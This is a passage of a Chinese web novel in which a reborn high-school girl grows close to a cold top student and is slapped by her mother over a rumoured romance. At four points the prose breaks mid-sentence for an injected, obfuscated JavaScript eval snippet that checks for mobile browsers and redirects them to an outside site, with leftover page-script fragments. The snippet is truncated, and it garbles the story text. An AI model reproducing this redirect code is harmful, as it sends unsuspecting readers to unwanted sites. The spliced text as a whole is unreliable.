她在看到窗前坐着的人时,忍不住眨了几下眼,险些以为那是自己的幻觉,但今天是个阴天,阳光根本不刺眼,不会照出海市蜃楼来的。 傅笙已经看到她了,疑惑道:“怎么不进来?” 安苒连忙理了理表情,换上一副十分惊喜的样子:“我还以为你下午才过来呢!” 她小跑了几步,挨着傅笙坐了下来,一边从书包里拿卷子出来一边问道:“你不会是坐第一班公交来的吧?” 傅笙嗯了一声,语气很淡。 安苒莫名觉得傅笙有些不高兴,像今天的气压一样,又低又沉。 她眉心细微地拧了下,不太想哄人,也不想费力去探究对方不高兴的原因,于是当做什么都没发现。 一整个上午,除了最开始的讲题外,傅笙都在看书。 中途,傅笙起身去换书。 安苒听到声音,抬头问:“你要走了吗?” 傅笙拿着书,直勾勾地看过来,几秒后点了下头。 安苒看着对方收回视线,转身的一瞬突然福至心灵,意识到傅笙刚才那停顿的几秒是在等她开口留人,她飞快叫住对方:“我正在写数学卷子,说不定还有不会的题目,你能不能等等?” 安苒说完,皱了下鼻尖,语气带着点央求的意味:“拜托了。” 傅笙果然同意了:“好。” 不过,安苒并没有问,这张卷子不难,随便挑一题问实在有点蠢,而且容易露陷,这些天她已经快把数学卷子全写完了。 上午一场雨之后,原本阴沉的天逐渐放晴。 安苒起身,把之前关上的窗户重新打开:“还好你没有提前走,不然就该淋雨了。” 她说完没听见傅笙说话,回过头,就见傅笙已经把剩下的几扇都打开好了。 安苒冲他笑了下:“今天早点去吃午饭吧,不然待会儿又要热起来了。” “好。” 图书馆周围没多少饭馆,安苒这么多天已经吃腻了。 她拉着傅笙特意坐了一站公交,然后挑了家看起来不错的店,可惜味道一般,完全比不上招牌上自吹自擂的‘美味一绝’。 午饭之后,太阳彻底从云层后探了出来。 两人沿着地上店家招牌的影子往回走,傅笙忽然道:“吃蛋糕吗?” 安苒啊了一声,还没反应过来,傅笙已经推开了旁边蛋糕店的门走了进去。 安苒在原地愣了两秒,连忙跟上。 蛋糕店里开着冷气,特别凉快,安苒一进来就打了个颤,她一抬眼,就看见傅笙正一脸凝重地站在玻璃柜前面挑蛋糕,表情有些犹豫。 “怎么了?” “太大,吃不完。” 安苒顺着他的视线望过去,柜子里的蛋糕最小也有8寸,确实很大。 老板娘本来没说话,听见他们在说什么后,立刻招呼道:“我们店有那种纸杯蛋糕,特别小巧,好看又好吃。” 说完转身端了一个放满小蛋糕的托盘出来,问道:“要一对吗?” 傅笙:“一个。” 从蛋糕店出来,傅笙就把蛋糕塞进安苒手里了。 安苒有些懵,不确定地问道:“给我吗?” 傅笙点头:“我不喜欢吃甜的。” “那为什么要买?” “生日。” 安苒眨了下眼睛,这回她真的有点反应不过来了,她不知道傅笙的生日具体是哪一天,重生回来后她想过去打听的,但还没有行动,结果答案就这么猝不及防地出现在了她面前。 所以,对方早上的那股不高兴的情绪是因为今天生日吗? 她又把小蛋糕塞了过去:“生日蛋糕要自己吃。” 傅笙没吃,准备丢了。 最后小蛋糕还是回到了安苒手上。 甜腻的奶油实在不怎么好吃,而且她才刚吃完午饭,安苒一手拿着蛋糕,一手拉住准备去对面公交站台的傅笙:“等等再回去。” 她拉了一下就松开了,道:“过生日就该出去玩啊,去最想去的地方,你最想去的地方是哪里?” 傅笙:“图书馆。” 安苒卡壳了一瞬,然后坚定否决了,她问傅笙:“你知道安城哪里好玩吗?” 傅笙摇头。 安苒发现自己也不怎么知道,无论上辈子还是重生之后,她其实都没怎么好好逛过安城。 她想了下,提议道:“去城南吧,城南商场开业的时候班上好多人都去了,你不在。” 傅笙记了起来,他那时候确实不在安城。 在去城南的路上,安苒成功解决了小蛋糕,终于把手空了出来。 她上次来城南,就是寒假的时候,那次人实在太多,今天商场里的人依旧不少。 安苒也没想好具体要去逛哪家店,她站在商场前面的广场上,随便一瞥就看见了游戏厅花花绿绿的招牌,于是拉着傅笙进去了。 两辈子加起来,她第一次进游戏厅。 一刻钟后,两人被烟味熏了出来。 安苒咳了两声,看到傅笙也憋不住咳了下,弯眼笑了起来,在对方看过来后赶紧抿了下唇,收起表情道歉道:“我上回没进来这里,不知道味道这么难闻,对不起啊。” 傅笙:“不用道歉。” 安苒:“啊?” 傅笙看着她:“我没有生气,也没有没怪你。” 安苒:“那我收回。” 她喜欢傅笙直接,不用费劲去猜对方到底在想什么。 两人在商场漫无目的地逛了一整圈,安苒本来想问傅笙有没有想要的东西,但转念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526309|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一想,自己问了傅笙肯定会说没有,于是直接拉着对方去了商场后面的一条小街——那条街有一家卖奇怪小商品的店,上回她和卢佳慧过来的时候看见的。 安苒捧着水晶球问:“好看吗?” 傅笙一眼就看出了她的意图:“我不需要生日礼物。” 安苒:“那不算生日礼物,算小蛋糕的回礼。” 不过她最后也没买水晶球,只买了个绳结挂件,那是店里最平平无奇的一个东西,也是傅笙能接受的底线。 从城南回图书馆,公交车上的人就多了。 车上没有空着的座位,安苒和傅笙被挤到了过道中间。 头上拉环已经被人拽住了,再上面的横杆实在太高,安苒不算矮,但伸手试了下还是够不着,公交车猛然启动往前开去,她本来就没站稳,还被人从后面推了一把,差点一头栽下去,好在被傅笙及时拽了一把。 安苒连忙站稳,在她没看到地方,傅笙冷漠地朝旁边看了眼。 对方因为推人正心虚,被这个眼神吓到了,赶紧低着头挤了出去,引得车里的人一片不满。 贴着站实在不舒服,而且还是七月的夏天,好在几个人多的大站之后,车上的人少了大半,终于有空位了。 安苒还没动,傅笙已经把她按在了座位上。 她坐好后又往里挪了下,拽了拽傅笙的衣摆:“你要坐吗,我们挤一挤?” 傅笙看了眼坐在里面的人,把安苒拉了回来:“不用。” 两人到图书馆,快要四点半了。 要不是安苒的书包还留在借阅室,就直接回去了。 图书馆的员工正好在位置上,看两人跑进来打趣道:“小情侣这去哪里玩了,一下午都没在?” 安苒停下来,笑着纠正道:“阿姨,这是我哥。” “我哥大学放假特意来给我补课的,家里大人打麻将太吵了,才来图书馆的。” 对方有点诧异:“还大学生啊?哪个大学?” 安苒:“A大。” “读着什么专业啊?” “计算机。” 眼看越说越离谱,傅笙实在忍不住,伸手把安苒拉走了。 一路走到借阅室,傅笙才放开人,问道:“你刚才说什么大学?” 安苒表情无辜:“我说的不对吗,我觉得你一定能考上A大,实验的第一名要是都考不上,那A大在安城就招不到学生了。” 她说的是事实,而且上辈子傅笙就是在A大,读的也是计算机专业。 傅笙说不过她,换了个问题:“那为什么要说我是你哥哥?” 安苒理直气壮道:“阿姨误会了嘛,我才那么说的,那我应该说什么?同学还是朋友?” 傅笙抿了下唇:“朋友。” 安苒笑了起来:“好,那下次我就说是朋友。” 16. 第 16 章 整个七月,安苒几乎每天都泡在图书馆。 她和傅笙隔几天就会碰见一次,虽然对方没有提前约好哪天见的意识,但只要她问了,傅笙都会报一个日期,并且从不爽约。 安苒为此多做了两套课外习题,卷子上出现过的每个题型都烂熟于心,明明都会却还要把难解特意挑出来,以至于安苒在写其他科目时像是在放松精神。 七月最后一天,两人在图书馆待到一整天。 安苒收拾东西时照例问傅笙,下一次什么时候来还书。 “我八月不在安城。” 安苒唰一下抬起头,这才注意到傅笙手里没有拿新书,她问道:“整个八月都不在吗?” 傅笙嗯了声,认真说道:“你暑假的数学卷子已经都写完了,两套课外习题册也做得很好,不用再继续补下去了,多做无益。” 安苒飞快地咬了下腮肉,控制住脸上的表情。 她有点想笑,然后喊一声‘傅老师’。 但这个时候笑出来实在太煞风景了,安苒低着头,用力咬了咬腮边的软肉,声音听起来闷闷的,她问道:“那暑假余下的时间我们都见不了了,是吗?” 她小声抽了鼻子,没等傅笙回答,就换了个话头:“你什么时候回来呢?” 傅笙的声音顿了下:“开学前。” 安苒抬起头,冲他勉强笑了下:“那我们学校见。” 傅笙点了点头。 回去的公交上,安苒没怎么说话。 临下车前,傅笙叫住她问道:“你不高兴是因为我不能来图书馆了吗?” 他不是很能理解安苒为什么不高兴,他已经给她讲了足够多的题了,而且后来对方在做数学卷子的时候明显兴致不高,他以为自己不在安城,安苒应该会高兴的才对。 安苒看向傅笙,对方眼中的困惑直白又清晰,并无绮念。 她抵了抵自己的鞋头:“没有不高兴。” 傅笙皱眉。 安苒垂着眼睫轻声道:“我只是有点不舍。” 她抿了抿唇,像是在犹豫,过了会儿才问道:“傅笙,你分不出来吗?舍不得和不高兴。” 傅笙似乎愣了下,没回答这个问题,他飞快道了个歉,然后道:“我会给你带京市的学习资料。” 安苒哑然失笑,哪有人用学习资料当道歉补偿的。 不过她没纠结:“你要去京市?” 傅笙点了点头:“嗯。” 安苒眨了下眼睛,有点意外,其实她对傅笙的了解很少,上辈子只有从她妈徐梅口中听到的那些,重生之后才慢慢熟悉的。 她没继续问下去,毕竟她和傅笙还没有熟悉到问这些。 进入八月,安城更热了。 安苒每天按部就班地进行着她的图书馆打卡计划,风雨无阻。 期间,图书馆的阿姨还问过她傅笙怎么不来了。 安苒乖巧地笑了下,搬出一早编好的理由:“A大有个社会实践的活动,哥哥就提早去学校了。” 她这声哥哥叫得十分顺畅,完全没引起怀疑。 傅笙不在,安苒又回到了一开始的节奏,每天固定完成计划,剩下的时间用来看书,她的暑假作业其实早就写完了,现在在看的是高二课程。 安苒托着腮想,既然都重生了,高考的成绩总不能比上辈子差。 一直到暑假结束,安苒的逃课行为始终没被发现。 有一次,她在公交车上遇见过傅笙的妈妈周阿姨,不过她当时坐在最后一排,没被看见,只是安苒有点好奇,既然傅笙去了京市,周阿姨怎么没跟去? 是因为要上班吗?这点微末的念头在脑袋里一闪而过,没存多久。 九月一号,实验高中正式开学。 高二一共十七个班,分班名单贴在校门口的公告栏里。 安苒来的有点迟了,公告栏前面的人群挤得水泄不通,她没往里挤,先去看了最边上的第一张,傅笙的名字果然是第一排第一个。 “安苒,这边!” 熟悉的声音从身后传来,安苒一回头,果然看见了卢佳慧,对方绕过人群跑过来,兴冲冲道:“我找到名单了,我们今年在九班。” 安苒还没来得及接话,卢佳慧又‘啊’了一声:“安苒,你长高了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526310|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她说完上下打量了一眼,补充道:“不光高了,还瘦了。” 安苒笑了起来:“真的吗?” “真的!”卢佳慧羡慕不已:“怎么减的啊,我暑假过完还胖了两斤,烦死了。” 安苒实话实说:“我没有减肥。” 她上辈子就不矮,只是发育的有点晚,一直到上高中之后才抽条,大概上半年就已经在长高了,不过因为一个班的关系,天天见面,所以卢佳慧没瞧出来。 她安慰同桌:“等开学后,功课紧张起来,到时候自然就累瘦了。” 小卢同学汪的一声哭了出来。 两人挽着胳膊找到教室,挑了张桌子坐下,放书包的时候卢佳慧问:“你暑假作业都写完了吗?” 安苒点头。 “作业本都写了啊?” 安苒接着点头。 卢佳慧惊讶道:“那个本子老师根本不检查的,写了干嘛。” 安苒:“反正闲着也是闲着。” 她把书包放好就去了教室前面,刚才在校门口的公告栏那她没来得及看自己的学号,好在黑板旁边也贴了一张。 安苒发现自己排到了12名,按理说她高一几次大考都没有考得很好,不该前进这么多的,不过原本各班最上面的几名都去了尖子班,所以大家集体前进了。 她视线落在第一排,上面是个不认识的名字,她突然有点不习惯。 正想着,有人从教室外进来对她道:“安苒,校草找你!” 传话的人是高一和她一个班的女生。 安苒眨了下眼:“谁啊?” 对方顺手一指。 安苒望了过去,在看到傅笙的时候忍不住笑了起来,她从教室出去,问道:“你什么时候成校草了?” 傅笙脸上没什么表情,根本不在意这个称呼:“不知道。” 他把手里的东西递了过来:“给你的。” 安苒不明所以,伸手接过后翻了下,眼睛立刻亮了起来:“京市的学习资料!你真的给我带啦?” “之前说好的。” 安苒冲他笑了下:“谢谢你,傅笙。” 17. 第 17 章 安苒回教室后又仔细翻看一遍傅笙给她的资料。 里面不光有数学的,其他的科目也都带了,九门功课一个不少,看上去很希望她能考进尖子班了。 卢佳慧从刚才看到傅笙来开始,就忍不住想问了,奈何她和傅笙实在不熟,所以只好等安苒回来才抓住人道:“你和傅笙的关系什么时候这么好了?” 安苒反问:“只是带个学习资料就算好吗?” 卢佳慧:“他能来找你就已经算了!” 安苒被她夸张的语气逗笑了,把资料竖在桌上拢了两下然后收好。 她要是告诉卢佳慧,自己整个七月一直和傅笙在图书馆碰面的话,对方大概会震惊到说不出话来,然后疯狂八卦。 但其实她对傅笙来说,只是比其他人更相熟些,没什么特别。 那些一起打球的男生如果开口让傅笙带学习资料的话,傅笙也一样会带的,只是没人这么干过罢了。 安苒想,傅笙会接受她的靠近,是因为习惯,因为她的无害,她要在傅笙心里变得特殊,还差一个突破点。 只是安苒没想到,这个突破点会来得这么快。 周五下午第一节,体育课。 一班和九班都在操场,安苒一眼就在人群里看见了傅笙。 开学两周,她和傅笙能遇见的时候,除了偶尔重叠的体育课,就是孙老师家的补习班了,好在傅笙没有把补习班推掉,否则她真的很难见到人。 趁着体育老师来之前,安苒叫住傅笙:“明天三节课下我去找你,记得带试卷出来。” 傅笙点头:“好。” 一旁跟来的卢佳慧好奇道:“什么试卷?” 安苒飞快解释了下:“尖子班做的卷子,每周一套,普通班没有。” 这不算秘密,实验为了拔高名校的升学率一直这么做,安苒上辈子也在尖子班,自然清楚,她上周日在补习班的时候就和傅笙约好了,让对方发卷子后先不要写,借她多复印一份。 这点要求不算过分,傅笙当时就答应过了。 卢佳慧握住安苒的胳膊使劲晃了晃,试图把她晃醒:“才开学两周,就要这么用功了吗?” 安苒笑着问她:“你要不要,到时候我多复印一份?” 卢佳慧赶紧摇头:“千万不要给我,老师布置的作业我都写不完呢。” 她说着摸了摸下巴,小声吐槽道:“怪不得傅笙和你关系更好,校花这是努力错了方向,要是能考个年纪第一,傅笙一定对她刮目相看。” 卢佳慧扭过头来,向她求证:“安苒你说对不对?” 安苒点头:“对。” 其实不是,无论考不考第一,优秀还是平庸,对傅笙来说都一样,他都不会在意。 上辈子安苒超过他一次,但她从来没有被傅笙记住过,对方像是故意而为,慢慢隔绝了所有人,到最后只剩下一片刺骨的冷意。 安苒回头,忍不住多看了一眼对方站在人群中的身影。 直到袖子被扯了下,才收回视线。 “快站好,老师来了。” …… 第二天周六,正常上课。 实验的高二学生,每周就只放周末一天假。 安苒早就有心理准备,所以在哀声载道里格外适应,她看着打哈气的同桌道:“这都第二周了,还不习惯吗?” 卢佳慧泪光闪闪,义正言辞地纠正她的用词:“这才第二周!” 安苒附和:“嗯,是才第二周。” 不过,因为周六是额外多上的一天,所以班上气氛很松懈,从学生到老师都比平时周一到周五放松许多。 下午的三节课后,是大课间。 安苒依言去找傅笙,一班和九班不在同一层。 安苒爬了两层楼找到一班,但没在后门看到人,于是拦住了一个刚从教室出来的男生:“同学,能不能帮忙叫一下傅笙?” 对方很爽快地答应了,转身回去喊道:“班长,有美女找。” 安苒在听到对方对自己的称呼后,忍不住笑了下。 几秒后,傅笙带着试卷出来。 一起探头的,还有人。 果然八卦是人类的天性,不管好学生还是差学生都热衷于此。 安苒不是很想引起这些没必要的注意,会让她很没有安全感,她转身就走,一直走到楼下了,才放慢脚步,等身后的人跟上。 她看了傅笙道:“我一个人去就行了,等复印完之后再送给你。” 学校的小卖铺没有复印机,得出了校门才有。 傅笙道:“我有东西要买。” 安苒张了张嘴,然后闭上,虽然一个人去就够了,但借东西的人是她,安苒实在不好意思让傅笙单独跑一趟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526311|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人一起往学校大门走,三节课下的大课间,教学楼上上下下都十分热闹。 安苒想了下,还是决定从教学楼另一面绕过去。 她边走边问:“你是班长啊?” 傅笙嗯了声,多解释了一句:“班主任按学号分的职务。” 安苒点头:“我猜也是。” 如果按照竞选的方式,傅笙连报名参加都不会。 她记得上辈子尖子一班的班长也是傅笙,而且对方这个班长一直做到了高三结束,十分稳固,但并不是傅笙尽责,而是所有的杂事都被班主任揽去了。 教学楼离校门没多远,很快到了。 安苒有点担心:“我们不会被门卫大爷拦下吧。” 傅笙:“不会。” 门卫大爷果然很好说话,听他们解释完,就让他们出去了。 不过安苒觉得主要原因是复印店就在学校大门对面,很近,过一个马路就到了,大爷完全能在门卫室里盯着他们。 几张卷子很快就复印好了,傅笙早就买完了东西。 安苒瞥了一眼,袋子里没什么特别的东西,只是几支普通的黑水笔和两本草稿本,这让安苒生出一种错觉,傅笙看出她不喜欢上楼去找他,所以才找了个借口和她一起出来的。 但转念一想,安苒又觉得自己太自作多情了。 她拿着复印好的卷子,和傅笙一起从店里出来,刚走两步就察觉到有人在看她,等她顺着视线找过去,就看到对方已经骑车离开了,不过身形有点眼熟,想起来在哪里看过。 安苒皱着眉,想了一路,一直到教学楼下,才终于想到自己在哪里见过对方了——她妈徐梅的办公室里。 安苒的脸色瞬间几变。 傅笙停下脚步,问道:“怎么了?” 安苒用力抿了下唇,脸上的血色渐渐恢复过来:“没事。” 安苒轻轻笑了声,问一旁的傅笙:“你知道我们现在看上去像什么吗?” 傅笙:“像什么?” 安苒道:“像是逃课出来玩的小情侣。” 她扭头打量对方,语气带着些许玩笑意味的抱怨:“早知道就不和你一起出来了,长得太出挑,一眼就能被认出来,目标太过明显了。” 安苒鼓了鼓脸:“待会儿上楼要是被老师撞见,你来解释。” 傅笙点头:“好。” 18. 第 18 章 下午最后一节课,安苒几乎没怎么听。 她看着黑板,心不在焉地想,那个阿姨应该是要回单位的,厂里今天上班,她妈妈和傅笙的妈妈都在。 运气好的话,阿姨今天不会说,她妈也不会知道;运气不好的话,她一到家,就会遇上暴跳如雷的她妈。 安苒希望自己运气差点,省得她去想这件事什么时候才会炸开。 四十分钟过得飞快,一眨眼就到了放学的时候。 卢佳慧没发觉她的异样,在校门口高兴地和她道别:“后天见。” 安苒笑盈盈道:“后天见。” 等转身分开,她脸上的笑意就收了起来,唇角落下面无表情。 学校离家不远。 安苒没有刻意拖延时间,照常回去,打开门,徐梅就站在门后,门被关上的瞬间,安苒等来了一个清脆的耳光。 她的脸被打得偏向一边,半张脸火辣辣地疼,像是忽然烧了起来,安苒舔了下唇角,尝到了一丝腥甜的味道。 耳边嗡嗡作响,紧接着是徐梅怒不可遏的声音:“小小年纪不学好,学人家谈恋爱!” “我把你送去学校是去胡搞的吗?跟谁不好,还偏偏跟那个贱人的儿子?!” “除了长得好一点,还有什么?整天冷着张脸跟个死人一样。” “……” 安苒默不作声地听着,等徐梅终于骂累了,她才开口问了个无关紧要的问题:“既然傅笙不好,你为什么每次都要拿我和他比?” 这个问题不知道哪里挑动了徐梅的神经,安苒等到的不是回答,而是第二个耳光。 “我是让你超过他,压他一头,不是让你跟他胡搞!” “我怎么生出你这个不要脸的东西!” 安苒转过头:“我没有胡搞,也没有谈恋爱。” “我是去校门口复印试卷了,尖子班的学生我只认识傅笙,所以才跟他借的卷子。” 她语气平静地说完,然后等了几秒,等到的却依旧是徐梅的骂声:“你还有脸狡辩?” “我冤枉你了吗?啊!要不是考不上尖子班,用得着去借卷子吗?还不是自己不争气!” …… 安苒脸上的表情始终没变,像是一潭无波的死水。 她安静地听完,然后才进了房间。 两个耳光扇在同一面上,她的左半张脸已经肿起来了,明天大概会变成青紫色。 安苒没去管自己的脸,也不太在意,这是她还在学校里就预见到的结果,她甚至有闲心想,在校门口看到她的那个阿姨是在哪里宣扬她和傅笙的关系的? 应该是在办公室,否则她妈不会提前回来。 周阿姨应该也在,她妈徐梅的盛怒,有多少是对方火上浇油的结果? 安苒不想去管大人们之间的恩怨,也管不了,她只是不懂为什么这些恩怨最后伤害到的人是她。 安苒垂着眼帘,视线落在那叠试卷上,其实她没必要去复印这些,也没必要非得赶在下午的三节课下,所以刚才的那两个耳光算不算自作孽? 安苒觉得,应该算的。 但既然她已经挨过打了,那还是利用一下吧。 她猜,周阿姨回家后也会把这件事说给傅笙听的,然后大约会用幸灾乐祸的语气推断出她被打的结果。 傅笙会是反应呢? 当时在教学楼下,傅笙答应过,如果有误会他会去解释的,至于误会的人是老师还是其他,并不重要,所以对方应该会第一时间过来吧。 然后傅笙会发现,来不及了。 敲门声响起,安苒没动。 外面传来徐梅开门的声音:“傅笙?” 安苒隐秘地笑了下。 徐梅脸色不愉,语调也很凶:“你来做什么?” 傅笙:“我来找安苒。” 徐梅赶客:“她已经睡了。” 下一秒,安苒从房间里走出来,在视线对上的瞬间,傅笙瞳孔骤然紧缩,这是安苒头一次在傅笙的脸看见如此明显的震动,大概是因为她的脸实在惨不忍睹。 徐梅扭过头,脸色一沉,骂道:“滚去学习,不要在这丢人现眼!” 傅笙的胸口剧烈起伏了下:“徐阿姨。” 他语速极快地解释了下午发生的事,原原本本细枝末节,包括安苒本来打算一个人去复印卷子,是他要去买东西所以才会一起过去。 他是跑过来的,呼吸带着微末的急促,说话一快就更明显了。 等他说完,徐梅敷衍地摆了下手:“知道了。” 然后不耐烦地赶客,嘭一下关上了门。 在门被阖上前的一瞬间,傅笙抬起头,他看到安苒高肿着的半张脸庞,以及一颗从眼眶正中掉了下来泪珠。 明明没有声音,却像是砸在了他的耳边。 * 第二天周日,安苒翘了补习班。 她没去其他地方,而是直接去了学校,周末进出校门是没人管的。 教室里空无一人,安安静静,除了空中飘浮着的细小灰尘,就只有笔尖落在纸上的声音。 安苒在猜傅笙什么时候才会找到她,对方应该会先去图书馆,然后发现她并不在借阅室里,再然后才会想到她在学校。 她写到最后一题的时候,楼道里响起了脚步声。 安苒笔尖一顿,抬头看去,傅笙站在教室门口。 她眼神闪了下,又重新低了下来,脚步声停在她的桌前,傅笙将两样东西放在了她桌上——一管软膏和一个口罩。 安苒定定看了几秒,头顶传来傅笙的道歉:“对不起。” 安苒摇了下头:“和你没关系。” 她声音很轻,带着点微末的哭腔,明明没有要哭的意思,但听起来却格外揪心。 傅笙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526312|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线一直落在安苒的脸上,那一整张左脸几乎都肿着,青红发紫,因为皮肤太薄,甚至能看到血丝,比昨晚更严重了。 他说不清自己的感受,但从昨晚开始他就很不舒服,所以在补习班没有看到安苒后,他就出来了。 他以为安苒会去图书馆,毕竟对方整个暑假都待在那里,但他没有找到人。 图书馆的阿姨还问他怎么从大学回来了,妹妹没有跟着来吗? 他当时犹豫了一瞬,然后道:“妹妹生病了。” 所以从图书馆出来后,他就去了药店。 傅笙拧着眉,很想把安苒脸上的那些青紫色的痕迹抹掉,他克制着自己的手没去拿药膏,绷着声音问道:“如果我昨晚去的早点,你是不是就不会挨打了?” 安苒摇头,她小声道:“不是所有妈妈都像周阿姨那样讲道理的。” 傅笙用力抿了下唇,薄唇几乎抿成了一道直线。 安苒问:“昨晚是周阿姨让你来的吗?” 傅笙:“不是。” 他语气排斥,不想让安苒误会,更不想让安苒知道昨晚他听到的那些话,母亲幸灾乐祸的语调像是还在耳边,只让他觉得难堪。 安苒似乎没料到这个答案,她抬起头愣愣地看着他,眼眶里雾蒙蒙一片,水光聚在一起。 傅笙还没来得及拿纸巾,对方一个眨眼,泪珠已经滚了下来。 他感觉心口被烫了下,手指不自然地蜷紧又松开。 傅笙没有管自己,他几乎有些强势地拉起安苒,往楼道走:“去洗脸,然后上药。” 少年紧绷着的脸上写满了严肃认真,皱起的眉心一直没有放下来过。 安苒没挣动,任由对方拉着自己。 洗完脸后,上药还是傅笙来的,学校的卫生间里没有镜子。 两人靠得很近,几乎能感受到彼此的呼吸,傅笙动作放得很轻,专心致志,像是在解开一道复杂的不等式。 安苒嗅着药膏的味道,视线落在对方脸上,她看了一会儿,轻声问道:“孙老师会不会给家长打电话,问我们今天为什么没有去?” 傅笙:“不会,我请过假了。” 他抿了下唇,说道:“以后都不要去了。” 安苒眨了下眼,没明白他的意思。 傅笙道:“我可以给你讲题,梳理知识点,查漏补缺,补习班的卷子太基础了,不适合你。” 他想要安苒快点追上来,和他一个班,从昨晚到今天见面前他一直有一种莫名的恐慌,虽然不知道为什么,但只要把安苒放在面前,就可以了。 傅笙道:“我会和孙老师解释的,除此之外不会再有人知道这件事,包括我妈妈。” 安苒看着他,好一会儿都没有说话,直到傅笙上完药膏。 他没退后,紧紧盯着她的眼睛,在无声催促。 安苒慢慢点了下头:“好。” 19. 第 19 章 安苒带了一周的口罩,对外说是感冒了。 大概是因为她平时太低调了,所以除了卢佳慧,没人知道她口罩下的惨状。 卢佳慧在给她上药的时候,既生气又心疼,忍不住抹了抹眼泪:“怎么会弄成这样,下回记得躲开啊,实在不行就来我家嘛。” 安苒反过来安慰她:“不会有下回的。” 一次意外就足够了,如果不是为了在傅笙心里留下一个印记,她其实是有办法避开的。 事实证明,这件事的结果比她以为的还要好,她之前完全没有想过傅笙会主动提出要给她补课。 安苒在等傅笙反悔,不过她等了一周也没等到,只等来了对方给她复印好的卷子。 周六下午的大课间,走道里外喧闹嘈杂,只有楼梯的拐角处安静无人。 傅笙问她:“去图书馆吗?” 安苒摇头:“阿姨会以为你辍学了。” 傅笙想起来自己在图书馆阿姨那已经上大学的事,一时哽住。 安苒道:“还是来学校吧,离家近些。” 傅笙点头,离开前他盯着安苒的脸看了眼,但视线被挡住了,看不见口罩下的样子,也看不出恢复了多少。 第二天,安苒到学校的时候,傅笙已经在了。 她今天没带口罩,脸上的淤痕消了下去,只剩一点不怎么明显红印,如果不仔细看是看不出来的。 她坐下后问傅笙:“看上去是不是已经好了?” 傅笙点头嗯了一声,问道:“还疼吗?” 安苒摇头:“不碰的话是不疼的。” 傅笙微不可查地皱了下眉,伤处在脸上怎么可能碰不到,无论洗漱还是睡觉都会牵扯到那片皮肤,他盯着那点红印,心里的不适仍在,并没有消去多少。 安苒对上他的视线,不确定地问道:“怎么了,是我的脸很奇怪吗?” 傅笙飞快否定了:“不奇怪。” 安苒迟疑了下,有些不信,她咬了咬唇瓣说道:“那就是比之前难看了,不然为什么你的表情看上去那么凝重?” 傅笙道:“不难看。” 他顿了下,像是怕她再钻牛角尖,又认真强调了一句:“一直都很好看。” 他没有哄人,也没有刻意吹捧,只是在陈述事实,安苒确实很好看,从那天她来一班找他后,已经有好几个人跟他打听过安苒的名字了。 他很少在意长相外貌,但人总会偏爱好看的事物,谁都不能免俗。 安苒飞快眨了几下眼睛:“真的吗?” 傅笙点头:“真的。” 他语气过于郑重,安苒忍不住笑了下,刚才的那点担心一扫而空,她高高兴兴地把昨天的卷子从书包里拿了出来,推到傅笙跟前:“我都写好了!” 趁着傅笙给她改题的时间,安苒在旁边做其他的作业,教室安静下来,只听得到笔尖落在纸上的沙沙声。 安苒算加速度的时候,分心在想,这可是来自年级第一的私人辅导,说出去要惊掉多少人下巴。 而事实证明,谁都喜欢听话的好学生,尤其是勤奋聪明的。 上午的时间一闪而逝,很快就过去了。 安苒收拾东西的时候问:“为什么要单独给我补习?” 傅笙动作顿了下,他其实自己也不知道为什么,只是顺着自己想要的去做了,对方这么问是因为他讲得不好,所以后悔答应了? 他皱了下眉:“你不想来了吗?” “当然想了!”安苒道:“全校第一的补习班,而且还是私人一对一指导,怎么会不想来呢。” 她把书包拉好,转头问傅笙:“你知道我是什么时候认识你的吗?” 傅笙:“初一?” 安苒摇头:“比初一还要早很多。” 她道:“从上学开始,每一次考试我都能在回家后的第一时间知道你的成绩,所以在我们被分到同一个班之前,我已经听过无数次你的名字了。” 安苒看着他,打趣道:“你说,这个是不是也算一种缘分?” 傅笙看到她唇边的酒窝,没有扫兴:“算。” 安苒笑了起来:“嗯,我也觉得算。” * 之后的每个周末上午,安苒都会来 